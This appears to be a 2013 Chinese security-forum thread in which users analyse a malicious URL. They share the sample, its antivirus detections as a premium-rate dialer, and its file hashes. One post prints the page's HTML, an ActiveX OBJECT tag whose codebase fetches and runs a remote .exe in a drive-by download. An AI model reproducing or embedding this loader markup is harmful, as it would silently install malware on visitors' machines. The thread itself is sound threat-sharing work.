http://66.230.143.147/it/

显示全部楼层 · 发表于 2013-1-18 17:05:02

yitaly.zip (14.63 KB, 下载次数: 27)

显示全部楼层 · 发表于 2013-1-18 21:48:18

显示全部楼层 · 发表于 2013-1-19 18:37:11

被诺顿杀之。

显示全部楼层 · 发表于 2013-1-19 18:38:58

<html>
<body BGCOLOR='2C62A0' TEXT='FFFFFF'>
<OBJECT id="A" CLASSID="CLSID:F20F0003-2051-123A-A3C9-08202B25E0CD" codebase="http://66.230.143.147/it/yitaly.exe"></object>
</body>
</html>

显示全部楼层 · 发表于 2013-1-19 18:47:56

带可用数字签名难怪敢这么玩。。IE设置的弱的就会直接执行了。。。

显示全部楼层 · 发表于 2013-1-19 19:51:06

迈克菲拦截

显示全部楼层 · 发表于 2013-1-20 02:05:13

完整路径: c:\windows\temp\avkhttp00001cf8.tmp
威胁: Dialer.DialPlatform
____________________________
____________________________

在电脑上的创建时间
2013/1/20 ( 2:04:45 )

上次使用时间
2013/1/20 ( 2:04:45 )

启动项目
否

已启动
否

____________________________
____________________________
未知
诺顿社区中使用此文件的用户数量: 未知
____________________________
未知
此文件版本当前未知。
____________________________
高
此文件具有高风险。
____________________________
威胁详细信息
威胁类型: 拨号程序。更改调制解调器的配置，使调制解调器或程序本身拨打某个高费率电话号码的程序。
____________________________

file origin tree



____________________________
文件操作
avkhttp00001cf8.tmp
已阻止

平均资源使用率:
未知

平均CPU 使用率:
未知

平均内存使用率:
未知

____________________________
文件指纹 - SHA:
368aa0130e25dce79ca54350dc3abb67536f8be75ea1a8f9a5ee39119b68b815
____________________________
文件指纹 - MD5:
d03fbd45ff5df1d9400497c83791e2d5
____________________________

[未鉴定] http://66.230.143.147/it/